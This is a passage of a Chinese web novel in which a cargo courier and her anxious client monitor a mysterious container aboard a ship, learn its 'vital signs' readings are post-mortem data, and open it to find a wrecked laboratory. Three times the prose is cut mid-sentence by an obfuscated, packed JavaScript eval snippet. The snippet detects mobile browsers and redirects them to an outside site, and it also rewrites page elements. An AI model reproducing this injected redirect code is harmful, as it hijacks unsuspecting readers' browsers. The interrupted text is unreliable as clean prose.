“…你可以试试看。”小象抬起头,因为那个冷笑话而心情不错,“我没有这样尝试过,但你可以去敲门试试。” “那要你有什么用?找你不就是为了这个吗?”小一烦躁地说。 “那不在我的工作范围内。”小象想了想,举起叉子介绍道,“你需要去找警察带路,不过在那之前你得先引起点骚动,比如,命案什么的。” 闻言,小一抿起嘴,本就看上去不太健康的脸色因不满的情绪而愈发难看,她没再说什么,捏紧叉子低头去分割盘中绿叶。不一会她的晚餐时间就结束了,小象还没吃完她的西瓜,自然不打算随她一同站起离开餐厅,便只是点了点头。 “…你最好是有在尽职。”小一威胁般说道,不等回复便离开了。 小象无言目送,低头,没一会身前又多出个人影。 “不好意思。”腼腆的声音招呼道,小象抬头,是先前那在甲板上遇到的那个人。青年把头发梳得相当整齐,看向小象的眼神不陌生,显然是为她而来,“你一个人吗?不介意的话我能坐这吗?好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296728|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没别的位置了…” 餐厅内人本就多,船员为了聚在一起吃饭更是直接把别桌的椅子拖走用了,现在,后来的几位到处都找不到座。 “没事,坐吧。”小象点了点头。 “谢谢你。”那人点了点头,先是放下了自己的餐盘,拿出消毒湿巾擦了擦桌面与椅子后才坐下,随后就像每个不请自来的人一样,这位也带来了新的话题。 “叫我小二就好!”她自我介绍,或许是有小一在前,她的笑容显得是那么的友善而亲切。 “我是小象。”小象点了点头,继续吃起盘子里的瓜。 给小二的餐盘拍张照就能拿去当健康饮食杂志封面,光是看着就让人的骨头都生机勃勃了起来。她坐下后也不动刀叉,先是从口袋里拿出小药瓶倒出了一堆胶囊压片药丸,显然是准备随餐服用。 “…好多药啊。”小象感慨道。 “这些可不是药。”小二失笑,“大部份是些补充剂,我们家习惯这样做…看着果然有点奇怪吧?” “奇怪?”小象不这样觉得,“为健康着想有什么好奇怪的。” 闻言,小二这才放松了些,她又谈起上船时的见闻,言辞间像个出来旅游的年轻人,小象不由得奇怪为何她会选择这样一艘运输船出行。 “刚才我看见那位和你一起来的人了。”小二面容带着担忧,“她面色看着不太好啊…没事吧,在船上身体出问题可就糟糕了。” “应该没事吧。”小象也不知道,随意道,“她可能只是有点,情绪问题。” “这样吗?”小二愣了下,眉头没松开,“我看着她像是很久没好好休息了…哦我,我是个护士,她这样的人我在之前每天都能见好几个呢。” “这样啊。”小象点了点头,但也没多担心,“我回头会提醒她的。” “无论船下生活如何,在船上就要好好休息嘛。”小二笑着点头,“所谓船就是最小的岛,对吧?” “在岛上就能好好休息了嘛?”小象问道。 “岛民远比大陆人健康,可能是环境污染比较少?”小二说着顿了顿,又补充道,“也可能是因为岛上没信号,岛民都不体检吧,哈哈!” 不过,在没有信号干扰的地方心情确实会变得愉悦起来,小象感受着口袋里手机的振动,心下叹息道。 她先前发送的邮件得到了回复,她们被允许查看监控,但不是“实时转播”,具体需要她们自己前往监控室和其中的员工沟通。这样就和小一说的差不多了,小象都能想象到她说“早就该这样了”的模样,忍不住叹了口气。 “诶呀。”小二笑了,“你也是吗?放不下陆地上的工作。” “我的工作现在就在岛上,所以跑不掉啦。”小象收起手机,加快了进食速度。 “这样可不好…”小二见此有些担心,“无论如何,吃饭的时候就好好吃饭吧?” 想起小二说的“尽职”,小象放下叉子摇了摇头,刚想说什么,就咬到了舌头。这算不算工伤?她一边捂住嘴巴一边想,口腔内惺甜弥漫,是出血了。 “诶!都怪我!”小二匆忙拿来纸巾,语气愧疚,“抱歉…” 小象不觉得对方该道歉,只是摇了摇头,但小二却执着地掏起了口袋,最后掏出了枚润喉糖来,不好意思地递了过去,小象笑了,接过糖直接塞进嘴里,糖块的棱角滑过口腔,血腥味被西柚香冲淡,那舌头上的疼痛就真的不再跳动了。 “很见效的药,谢谢。”小象端着餐盘站起,“那么我得去工作了,下次见。” “下次见!”小二招了招手。 餐厅有通道直通客舱,小象没走那条路,而是为了抄近道选择从甲板绕行。二楼露天处此时人也不少,明明夜间的海无物可看,还是有人乐意吹着冷风看着黑屏吃饭的。 “早和你说了吧!”小一果然这样说了,她完全没换衣服,听了消息就收拾东西急着要去监控室。 9. 船与箱中之物-上-2 这艘船的活动指挥室,广播中心,监控室以及天线都在金字塔构造船体的顶层,敲门后,一位套着加绒马甲的青年从内部开门,她看着二十来岁,带着浅色毛绒帽,挡住视线也挡住了迫不及待想往里面挤的小一,对视片刻,她没有让开的意思。 “我是刚才联系过的小象。”小象上前出示邮件内容,“请问你就是监控室员工吗?” “这不废话吗?”小一不耐烦地指了指门口的“监控室”标牌,“该说的都说过了吧赶紧让我进去!” “你就是那个要看货舱的?”那人依旧没有让开的打算,警惕地皱着眉,看向小一开口道,“我是小三,负责监控室,告诉我你为什么要看这玩意?” 闻言,小一回头看小象,瞪眼问道,“你没提前说好?” 该说的都说了,但小象自己都不知道为什么小一要看监控,理由就写的“为实时确认货物状态”,显然,小三不接受这个理由。 “邮件内容已经允许了。”小象说道。 “那不是我写的,我说不让就不让。”小三表情都没变一下。 眼见小一要发怒,小象连忙上前一步挡在她前面,之后都要坐这艘船完成后续工作,第一次过程中就和船员产生矛盾可不是好做法。 “请问。”小象赶在小一开口前发声,“请问你需要什么文件呢?” “文件?”小三皱眉,伸出一只手摊开手心,“我问的是理由,这是我的工作室,你们要进我的工作室总得给我一个理由吧?” “这那算是你的工作室?写你名字了?”小一从小象身后发出声音,“你一个员工别管这么多行吗?” 小三冷笑一声,退后一步手一甩直接就把门给合上了,小一使劲拉了几次,门纹丝不动,反倒是小一自己因为生气而逐渐气喘吁吁。 “…我要写投诉信。”她狠狠地盯着电子锁说道,回头看向小象,“给负责人说,我要投诉这个人!” “…我回去说,先回去吧。”小象劝道,夜里船舱通道相当冷,她没加绒马甲,也没生气,站在原地有点不适应环境了。 “不行!你就现在,在这里!”小一指着门说,“我得看着才行,总之无论如何你想想办法!” 小象只觉得船舱外的夜海凉风要吹进她脑子里去了,她叹了口气,问道,“那你先告诉我,你为什么要盯着那个集装箱?” “我就是得看着!”小一说。 “你知道这个原因说服不了里面那个人吧。”小象说。 小一沉默片刻,心想有些事确实可以让外人知道,她翻开手里的笔记本电脑将屏幕转向小象,现实界面是一个小象没见过也看不懂的实时更新数据页面,看着和股票似的,但起伏比前者稳定多了。 “这是那个集装箱里面的那个,货物的,生命体征监控。”小一语气有些僵硬地解释道,由加快语速说,“你知道我们公司给那玩意投了多少保险吧?我算是它的负责人,它出事咱俩都得被罚你知道吗?” “你这不是已经有了这个?”小象摊手,看向小一,“有了这玩意你还看监控个什么,监控只能看到集装箱皮。” “你以为我不想看着啊?”小一不满地咂舌,收起电脑说,“如果可以我都想自己也住那集装箱里头,但就是不行我才退一步选择这样跟着的。” 说到这里,她顿了顿,声音小了点,“而且怎么说呢,这个检测系统有点,不稳定,有时候数据延迟或者惯性上涨了我也看不出来,但如果那动物真出了问题,那集装箱…” 船舱通道里不算安静,原因在于顶层聚集的各类器械,尤其是那顶层用以监视船周环境的巨大鸦巢,旋转时音量不亚于室内突然开口说话的大型电冰箱。小一的声音最后淹没在了器械运作声之中,她手里的屏幕倒还稳定地表达着那些不被信任的信息。 她没说下去,小象就问了,“集装箱会被大象踩碎?” “…差不多吧。”小一轻声道,又抬高了底气和声音,“行了,这样就行了吧你赶紧想办法把这门给我打开。” 虽然不知道这算不算“行”,但小象敲门并阐述了以上原因后,小□□后一步让出了路,小一气势汹汹地往监控屏幕群前走去,那桌面上什么都有但就是没有空位,她手上的电脑就被随意摆放在后方的一处桌上,和似乎是小三饭后甜品的东西挨在了一起。 监控室不大,除去监控屏幕和操控台外就只有一柜子文件夹和一张抵着墙的大桌,但椅子很多,木椅皮质高椅旋转椅矮凳靠椅,近十位候选人被摆放在各个角落,拉开即可就坐。角落里还有门,小三没介绍其中内容物的意思,就说是自己的私人空间。 小象对小概率会出现的大象,监控屏幕,以及桌上的蛋糕都没有兴趣,她对着小一的背影交代了些东西便准备走了,小一当然是头也没回。 “你就这样把她留这?”小三怀抱双手不满地说,她就是监控室内唯一员工,小象一走这里就剩她们两个人了。 “她已经是成年人了。”小象说,她准备走了,这里比起通道也没暖和到哪去。 小三回头看了眼小一背影,鼻腔哼了口气,转头看向小象问道,“她不会之后天天要来吧?” “会。”小象丝毫不犹豫。 “…那个集装箱里有什么?”小三怀疑道。 “大象,活的。”小象直言,“具体来说是幼年灰象,你不知道?” “…当然不知道。”小三相当惊讶,她扶了扶帽子怀疑道,“大象,这怎么可能?排泄物什么的不提,那可是大象,大象怎么可能能在那集装箱里面活七天?七天里可没人能进去补食物或水什么的。” 这实在是残忍的行径,不如说,这根本不可能做到,但上司的吩咐是这样的:出发之前,与动物相关的一切都由甲方负责处理,小象不需也不被允许经手任何与“运输”无关的事物。而抵达目的地港口之后,甲方总公司会派人接手处理海关检查运输,不需要小象负责。 简单而言,甲方希望小象就当作自己要送的货是一个大一点的铁皮箱,把箱子从一处港口送到另一处港口,处理好路上的问题,而不是去关心其中内里。 “我不知道。”小象摊手,“可能有什么高科技?那是家生物公司,总有办法对付生物。” “…至少货舱里头有冷气,行了,看你也不想在这待。”小三说着,摆了摆手把门关上了。 这次小象没走甲板,而是从船舱内部慢悠悠地回了屋子,她忽然想起小二的嘱咐,对方还担心过小一的健康。小一今晚大概率,不,绝对不会睡觉吧,小象对这一点毫不怀疑。 航行第二日,船只所在海域飘起了小雨,空气湿冷,浪托得人走起路来一颠一颠,船员都习惯了,但乘客部分产生晕船反应,广播通知船医务室提供止晕药,甲板上的露天活动大半停运。 小象并不晕船,但当她早上抵达餐厅时发现这人比起昨晚少了大半,除去现代人作息饮食习惯之外,剩下的可以归责于海浪。餐厅圆窗外看得见海面,海浪起伏如起了褶子的长毛毯,雨丝斜着泯然于面积更大的水,世界变成了连绵不断的灰色。 但早餐餐厅也有很多瓜类,小象心情好了些许。 “早上好。”小二问候着坐在了小象对面,她作息与饮食都稳定健康,情绪也是,“昨晚过得怎么样?舌头有好一些吗?” “早上好。”小象也问候道,“昨晚还不错,舌头也不疼了。” “那就好。”小二笑了,搅着咖啡看向窗外,感慨道,“这还是我第一次看见这样的大海…自然还真是神奇。” “神奇,也麻烦。”小象抬起头问道,“如果你需要晕船药最好早点去,晚了人就多了。” “多谢关心。”小二摆了摆手,“不过我并不晕船呢。” 说着,她端起咖啡喝了口,笑道,“现在,我的胃里和杯子里看上去是一样的哦。” “也和海一样吗?”小象笑了,“那你们现在缺两艘船了。” 二人一同度过了一段愉快的早餐时光,谈话间,小二提到自己准备在目的地定居,并谈及自己对未来的一系列预设,那其中充满了幻想,但又有细节到琐碎的小东西。她说自己要养十只猫十条狗一只乌龟两只鸟,又要找一个步行十分钟内买得到脆皮面包的地方住,因为她热烤箱要五分钟,而这种面包一旦出炉超过十五分钟就会逐渐变成一块石头。 “那在新的城市,你也准备继续当护士吗?”小象问道。 “…可能?”小二犹豫地说,又笑了起来,年轻人的特产,这种笑里充满着轻飘飘的盼望,像黑夜里的路灯,不细看的话与星星也没什么区别,她就那样笑着说,“也可能去做别的事情…啊!不如我自己去做面包怎么样?不知道那里有没有烘焙店收人打下手啊…” “咖啡店比较多吧。”小象回忆着自己对那目的地城市的印象,“往南边一点有很多咖啡店,什么种类的都有,烘焙店靠近城市区域的多一点。” “哦哦!”小二很感兴趣,“你了解的不少啊,多讲讲嘛!” 面对年轻人的热切期盼,小象难得感到了些不好意思,她确实因为工作原因造访过不少地方,但她并非旅游爱好者,对每个地方的风土人情完全称不上了解。 “那我想想…”小象思索着说,“那我推荐你下船后去南部靠近市区的社区看看。那里有很多家庭开的面包店,会收学徒,有些年代的那种规模都比较大,周围人都彼此认识,生活久了之后不知不觉就会认识很多人…” 说着说着,小象停了下来,不知从哪一部份起,作为听众的小二不再面带那种期待的笑容了,她像是对其陈述中的某个部分产生了晕船反应一般,张嘴却不说话,好像呼吸困难。 “…身体不舒服吗?”小象问道。 “…是有点。”小二笑容勉强,“抱歉…我去医务室看看吧还是,我,我先走了,下次有机会再聊吧。”说着,她就带着盘子匆忙离开了餐桌。 看着她仓促的背影,小象一时也没再动叉子了,她意识到自己或许提到了些小二不想听到的话题,那一定令她联想到了陆地上的某些东西。在岛上果然就该只考虑岛上的东西吗?她这样想着又回忆起了自己的工作内容,不禁叹了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296729|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 餐后,出于对工作内容的关心,她带着一些食物前往监控室查看小一的情况,不出意外,她情况很不好。 “你再不来我工作室就要多出一具尸体了。”小三对此表达了控诉,“她一整晚没睡你知道吗?赶紧的,把她带走。” 作为见证了“一整晚”的人,小三此时看上去状态还算良好,她员工制服都没穿,但也对那占据她工作位置上的存在没多少好脸色。 “…我尽量。”小象说着走向了监控屏幕群前的身影,画面中,铁架下的集装箱一动不动,小一就像是在与其较劲一样也一动不动,如果不是船体偶尔晃荡,小象都察觉不到她的呼吸。 将食物在桌上勉强挤下后,小象对调转瞳孔向她的眼珠开口,“你有哪不舒服吗?” 小一冷笑一声,摆了摆手说,“我自己的情况我知道,累了我自己会休息。” 虽然小象很想说一句“好吧”然后转身就走,但她现在转身就能看见绝对不可能接受这一结果的小三,于是她叹了口气,说道,“我替你盯一会,你去休息吧。” “…你?”小一质疑。 “我。”小象点头,“这箱子有风吹草动我都会通知你。” “…那我就在这休息。”小一回头看向小三,“有折叠床吗?” “你给我回客房。”小三不耐烦道,“你真当这里是24小时营业的便利店吗你这流浪的家伙?” “客房赶到这至少要七分半!”小一强调。 “你赶到这了也什么都做不了,什么都!”小三也强调,“反正都这样了,你就不能老老实实回去喝点酒,一觉睡到站,然后当开盲盒一样把那惊喜礼盒打开吗?反正你在过程中也‘什么都做不了’。” “你——”小一要被这段话气晕了,她站起,又因不知哪部分或所有部分的不健康原因而开始眩晕,小象连忙把她按回椅子上防止她被摔死。 见此情景小三根本无所谓,随便在边上扯了把椅子坐下,继续嘲讽道,“谁管你想看到什么,要看就看,看到有打架的记得按一下对应屏幕的警告键,也算是做出点贡献了。” 在二人吵起来前,小象成功按着小一把她送回客房,并再三回复自己一定会尽心尽力诚实守信尽职尽责完成这份额外的加班工作。看着那房门关闭,她终于是松了口气返回监控室,小三已经坐回了自己的位置上,屏幕前现在没有小象的位置了。 “你要坐这?”小三晃过身问道,“你也是那集装箱的狂热粉丝?” “我在这看得见。”小象摆了摆手,在边上扯开把看着不错的椅子坐下,那桌上还摆着小一先前随手放在那的笔记本电脑,它被其主人毫无留恋地抛下了,她晃了晃鼠标,电量剩底,那个熟悉而陌生的界面又亮了起来。 闲来无事,即使内容对她无意义也无益处,她也试着看了起来。 “你在看那个?”小三转过来问道,“我之前也看了,你看得懂吗?” “完全不。”小象诚实道,“小一说这是监控集装箱里大象的生命体征的,那这条线稳定就足够说明它身体健康了吧。” “…可能吧。”小三沉默片刻后说,“虽然我不是专业的,但是,生命体征,不应该是心电图那样的东西吗?” 这样一说小象也觉得这界面奇怪,但她真的看不懂。 “船上的船医可能知道些什么。”小三说,“医学生物啥,她人也不错,你想知道可以去问问她。” “好吧。”小象点了点头,疑惑道,“你没问过吗?” “…没有,我又不在乎。”小三答道,重新转向屏幕,没再说什么了。 整个上午都没有发生值得一提的事,小事也没有,屏幕那头的集装箱以重量对抗船身摇晃,一动不动,就好像里面那头大象对外界所发生的一切无动于衷。 大概午餐时间过去些许后,小一再次回到了监控室,虽然她自己说过不需要休息,但此时的她看上去心情比先前好上许多,衣服换了,洗过澡,手上还多了杯咖啡。她像个警察一样事无巨细地盘问小象她不在的时候发生了什么,即使得到了无事发生的答复也没能安下心,转过头又去问小三,对口供一样地又问了一遍一样的问题。 对此小象无言以对,她没把那问答听下去,转身离开了监控室。此时自助餐厅已经结束营业了,她随便吃了午饭便前往医务室,一方面她对那笔记本电脑中的内容感到好奇,另一方面她现在确实有点晕船了,小三似乎已经习惯了这一点,而小一根本不在乎这个。 此时医务室的人并不多,至少小象排在门口时身后没有人,一门之隔内有说话声,她稍等片刻,顺带看了眼门外的职工签到表,船医名叫小四,每日上午九点上班下午四点下班,船上不分工作日,她便也没有休息日。 紧急医疗服务也在医务室,但需要呼叫的是安保而不是小四,船医提供最基础的医疗服务与基础非处方药,如果需要额外的那么一开始就不该上船。 门内传来道谢声,声音与人影透过不透明玻璃门越来越近,小象退后一步,让里面的人离开后推门入内。 10. 船与箱中之物-上-3 医务室不大,陈设没有特别之处但就是充满了生活气息,干净整洁温馨,墙上挂着个只固定了头部位置的十字架。这一切的制造者小四看上去四十岁不到,头发盘起,眼镜下面孔和蔼,她垂着眼,在办公桌后敲键盘记录着什么,头也不抬地招呼着,“哎呀真是忙到现在,你好你好,来,先坐下吧,我写一下东西很快…” “不着急。”小象说着坐下了,并顺势环顾四周,这个房间没有窗,取而代之的是一副十字架挂在墙上,不过散发光辉的确实是电灯就是了。 片刻时间后,小四拉伸着肩颈看向小象,理了理头发后才慢悠悠地开口道,“久等了,是晕船吗?” “是的。”小象点头,小四便一边轻声念叨着天气现代人身体健康环境卫生之类不需要回应的小贴士,一边从墙柜中取了个药瓶,倒出两枚,这时船舱忽然摇晃,那其中一枚药丸便顺势滚落在地上,没滚到底,小象见小四带着手套便附身捡起了。 “多谢!”小四笑道,“丢掉吧,掉地上的药可不是药了。” 小象点了点头,接过纸包又开口道,“其实我还有点东西想问问。” “什么事情?”小四有些意外。 “是关于动物的。”小象说着将她用手机拍摄下的屏幕画面出示给小四看,“这是个关于动物生命体征的监测器,我完全看不懂,监控室的小三向我推荐了你,请问能拜托你帮忙看看这些都是什么吗?” “小三…?”小四顿了顿,疑惑地接过了手机,眯起眼睛说道,“说实话我对大多数生物没什么了解,不过只是解释什么的话我确实能帮上你一些忙,更具体的我就…” 她就这样一边谦逊地念叨着一边反复放大又缩小图片,表情也从一开始的疑惑转为好奇,又变为疑惑,最后定格为了惊讶。 “…我认为这并不是什么生命体征监控信息。”她将屏幕转向小象,那其中是左上角的一小块方框,内涵三组缩写字母以及后缀带不明单位的数字,下街一串会跳动的数据,“你看这里,这些数字就是最重要的信息,但与icu里的生命体征检测仪数据完全不一样。” “那您认为这是关于什么的呢?”小象问道。 “嗯…我不太确定,但是…”小四又小声念叨了些什么,最后抬起头不确定地说道,“它似乎是在记录某物的状态,类似的东西我在许多实验室见过,总之,那不该是在监控一个活着的动物。” “…为什么这么说呢?”小象疑惑道,“抱歉,我只是,没太听懂您想表达的内容。” “没听懂没关系,你看这个。”小四耐心地放大到一处数据,“你看,这是定点时间单位,这部分后方数值是空缺的,但相对的点位却已经在走势图上预留好了,x轴标记意思大概是‘死后每3小时小时’,类似的东西我只在法医记录上看到过。” 所以意思是,那集装箱内的存在已经死亡至少72小时,并被集装箱内的某些仪器实时记录着死后的状态。 “…原来是这样。”小象点头,想起小一的言辞,不由得对她,以及甲方的真实用意疑惑了起来。若说那集装箱内存在的并非活体动物而是动物尸体,或者干脆说,一堆肉的话,那无论是搬运还是储存所需要的条件都简单了许多,去水冷冻排氧后打包送上飞机就好,那白大褂也不该对一箱子肉的状态如此紧张。 小象知道这个世界上有人就是对肉的“新鲜度”非常在乎的,但若是如此甲方就不该选择用船运输,食品运输要求比活体低得多,一份幼年灰象大小的肉何须五百吨载重,那太隆重了。 回想起小一的状态,小象不觉得那高度绷紧的面色是演出来的,至少在小一看来,那其中的东西拥有足够她紧张成那样的价值。 那集装箱内的到底是什么东西呢?她此时再次感到好奇了起来。 “其它所代表的我也不太能理解了,这是哪来的照片呢?”小四好奇道,“我觉得它只应该出现在实验室里,但你看上去并不是研究人员吧。” “…现在我也不知道了。”小象叹了口气,“只能说,我是它的运输负责人,按照协议我得对工作内容保密。” “我懂我懂。”小四慢悠悠地点头,“你是在六天后下船的?那个地方确实总有公司在搞奇奇怪怪的实验,愿神保佑,希望它至少别在这出事吧。” “…好吧。”小象对此现象也没什么话能说的。 但是,为何小四会知道这照片内容所指之物现在位于船上呢?小象忽然想到了这个疑问,她顿了顿,看向眼前又念叨起道德问题的船医,一时也不知该如何开口问。 “说起来,小三还是一直待在监控室吗?”小四担忧地开口问道。 “她确实在那。”小象点头,“这样一说,我确实没见过她出现在那扇门之外的地方。” “诶…”小四叹了口气,又说道,“你认识小五吗?她是这艘船的船长,小三其实是她的孩子,她看着和你年纪差不多对吧?但就我在这艘船上的十年多来,我就没见过几次那孩子出门过几次,更别提下船了…” 说起船长小五,小象想起了她在哪见过这个名字了,那封同意她们去看监控,或者干脆说驱使她们去监控室找小三的邮件署名就是小五。 “哦…说起来,她说那里是她的工作室,还真没在忽悠我们。”小象意外道,“她就一直生活在船上吗?” “差不多吧,似乎是有些难言之隐,她不喜欢和我们说话。”小四撑着头,似乎是在思索什么般声音放轻了许多,“但这艘船在下次航行后就要检修了,她该怎么办呢…” 这问题听上去实在奇怪,按理说小三是船长小五的孩子,那么哪怕船被拉去检修,小三也不至于无处可去,但小象看着小四担忧的神情,却又觉得是自己不了解事情的真实情况。 “在旁边搭一艘小点的船好了。”小象比划出船的手势,“过渡过去过渡一下。” “哈哈哈!”小四笑了,“也是个办法!我会和船长说说你这个想法的,如果采纳了的话我们一定来感谢你!” “…希望如此吧。”小象也笑了笑,随后二人又聊了几句,她便离开了医务室。 回到客舱时天色渐晚,船身摇晃依旧,雨势并没有减缓,小象一边尝试配合地板起伏上楼梯一边思索着,忽然就听见前方客舱走廊传来了她所思考问题的主角,小一的声音,她似乎在和某人通话,语气急切。 “…是你。”小一看见小象一愣,她顿住片刻,犹豫着是否要将货物实情告知对方,但她很快便意识到那不会有意义,反倒可能会影响到未来的工作,就只是摆了摆手,带着手机从小象身旁匆匆略过。 想起之前的对话,小象回过头问道,“是那集装箱里的东西出问题了?” “…等我通知。”小一脚步顿住,但没回头,“为你好,你最好不要对这些东西产生任何想法。” 说完,她不等小象回复便匆匆离开了。小象没跟上,转身回到了自己房间。 晚餐时间,小象并没有在餐厅遇到小二。 航行第三天,雨势在清晨便褪去了,海面起了雾,在平和又茫然的甲板上,小象看见了靠着栏杆远眺的小二,她看进雾里,那方向除了白白一片什么也没有了。 “早上好!”小二招呼道,她看上去心情不错,“感觉起了雾的海面在哪都一样,什么都看不清。” “早上好。”小象回应道,也靠在了栏杆上看向远处,“如果航线再往北偏点,那或许能看见一座相当有意思的人造岛屿,那是一处海洋研究中心。不过现在什么也没有,你在看什么?” “没东西能看,不过没有雾的话,这个方向或许能看到新的城市。”小二笑着说,她俯下身,将下巴埋进臂弯里,“我在想东西啦,或者说发呆?总之,至少这里人不多。” “确实。”小象点头,“身体好些了吗?” “嗯?”小二疑惑,又很快反应了过来,“啊!我现在好多了…”说着,她有些不好意思地放轻了声音,“其实,我昨天也不是有哪不舒服,就是突然想起了些倒胃口的东西,所以…抱歉哦,让你担心了。” “脑袋好受些也算是身体‘变好了’吧?”小象笑道。 “没错!”小二点头,“脑袋可是最重要的,脑袋健康的话身体也会健康的!” 二人正聊着,小象的手机忽然振动起来,她拿起,是小一的消息:过来监控室一趟。 完全是命令般的口气,小象叹了口气。 “又是那位?”小二问道。 “是啊,总之是工作。”小象点头说道。 “工作?在船上?”小二疑惑。 “确实是船上的工作。”小象说着又觉得好笑,“说得好像我也是船员一样…” “…对啊,明明不是船员的。”小二皱起了眉,“那位也不是船员吧,即使这样,你们也有必须在现在,在这七天里去完成的工作吗?” “如果可以的话,我也想等下了船再说。”小象摊手,两手空空,她没得选。 “…这样啊。”小二的情绪莫名又低落了下来,但也露出了笑容,“那么,希望这是最后一次吧,希望你们能享受接下来的旅程。” “借你吉言。”小象点了点头,转身离开了。 小二的祝福并没有成真,抵达监控室后小象才从门内二人的争吵得知了她被命令来这的原因——从监控画面上也可以看出来,那集装箱出现了不明原因的坑面收缩,就好像那其中凭空出现了一个抽气机,本来只是破旧的铁皮箱出现了多处凹陷,并且在众目睽睽之下数量还在持续增加,和先前那宛如照片一般静止不动的场景截然不同。 第一发现人当然是小一,这也是她先前匆匆赶回客舱的原因,她带来了一堆大大小小的仪器与一台新的电脑,先前那台已经因为完全没电而黑屏了。仪器与笔记本电脑相连,此时小一正一边操作那些一起一边应付小三的质问,好吧,她其实也没有应付小三,她几乎不回答任何问题。 直到小象站在她旁边她才头也不回地开口道,“去和船长说,现在必须打开货舱,不然集装箱可能会爆炸。” 不等小象回答,先一步爆炸的人是小三,“你疯了吗?!”她惊异道,“你是怎么通过的安全检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296730|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查?这玩意是怎么上船的?喂!给我回答我的问题!” 小一全然不理会她,只是继续操作仪器一边催促道,“赶紧。” “开什么玩笑!?”小三愤怒地扯着小一道领子开口,“那里面到底是什么?为什么会爆炸?你给我说清楚!” “…你在着急什么?”小一不得不回应道,“你一个看监控的有什么好着急的?你知道了也什么都做不了不是吗?” 这句话居然是被原封不动地还给了小三,小象都不知道小一是不是故意这样做的,只得一边努力分开二人一边摸出手机要联系船长小五。 “…我去说。”小三气喘吁吁地拿出了自己的手机,狠狠地盯着小三说道,“但你听着这事你脱不了干系,要是真爆炸了我第一个把你丢海里!” “那赶紧的。”小一完全无视了对方后面的话,一恢复自由就又扑回电脑前了。 “…那里面不是大象,对吧。”小象问道,“你知道这是违反协议——” “那玩意你自己去和合同上签字的人聊。”小一说道。 这句话居然也被抛了回来,小象叹了口气继续道,“这船上现在只有你我两个能对这件事负责,我完全是被牵连的,你至少要向我解释清楚,否则那份合同作废,你们的行为可以算是主动毁约。” 角落里小三的声音断断续续从里门内传来,小一手里动作停顿片刻,回头问道,“你还是想知道那集装箱里面是什么东西?”她的声音低沉平静,但不知为何,小象能从中品出威胁的味道。 “我‘要’知道。”小象说。 “…那你一会跟着我一起去。”小一说道,随后她回过头,什么都没再说了。 约五分钟后监控室的门从外被打开,六个安保人员带着装备站在门前,带头的那位就是小五,看着和小四年龄相似,却是远比其不亲切得多。她进入其中后先是环视一圈,随后皱起眉看向小一。 小三并不在场,而是待在里门之内,小象猜测这是她皱眉的原因。 “情况她和你说了?”小一合拢笔记本,将所有仪器连接线断开接口,仅带着电脑起身说道,“不用带那么多人,走,赶紧过去。” “…看来你完全清楚自己的行为。”小五的眉头没松开。 “赶紧走。”小一毫不在乎,急切地催促道,小五沉默片刻,最后看了一眼监控室内侧的门便转身带队离开,快步前往紧急通道。 “…我想了解一下你们会如何处理这件事。”小象问道。 “如果真的出现了爆炸或相似预兆,那我们会呼叫最近海域的海面警卫队,责任在你们。”小五道,“如果没有,那么等待你们的是港口的警卫。” “…这件事我们会负责。”小一头也不回地说道,“你那合同我看了,现在的情况不在你的责任范畴,我们会处理。” 小象有些意外,但也只是点了点头,没说什么。 “你们最好能。”小五冷声道。 靠近货舱,小象闻到了一丝臭味,这气味随着离货舱距离越来越近而毫不留情地扩张,很快进化为化学攻击,前进队伍楼梯间停顿住,没有人再往下走。在小五的联系下,小四送来了呼吸面罩,队伍才得以继续前进。 即使如此,货舱大门前熙熙攘攘,依旧没人上前推开那扇微微开缝的铁门,地面上有几滩呕吐物,显然先前开门的那些人没有预料到里面的空气竟如此难闻。小一沉默片刻,负起责任上前拉开门,这是处冷藏间,声光温度各自尽职尽责地刺激着到访者的各处感官,并努力令其感到不适。高阔空间被多个未统一规格的长方体填充,稍稍能安慰人的是,人在其中没有容身之处。 找到那处目标集装箱时,它已远没有小象初次见面时那样规整,但门确实还在那该在的位置,她取出本该在下船时交付给目的地接头人的钥匙,在所有人的注视下开启了那铁链上的铜挂锁,重力叫它呱呱落地,小一又上前,拉开了集装箱的门。 在所有人的注视之下,门内并没有窜出什么未知生物也没有爆炸,门内传来持续的,稳定的,有规律的滴答声,是机器的声音。门内泻出柔和白光,所有人都看见了那其中存在的什么。 那有一间被装载于集装箱内的实验室,但此时,其中的仪器都像是被从外侧重击过一般扭曲着损坏了,合金碎壳与零件都七零八落地滚在地上,而重击的中心,那实验室中心的破碎玻璃罐中存放着的便是造成这一切,以及恶臭的源头,也是货物的真面目。 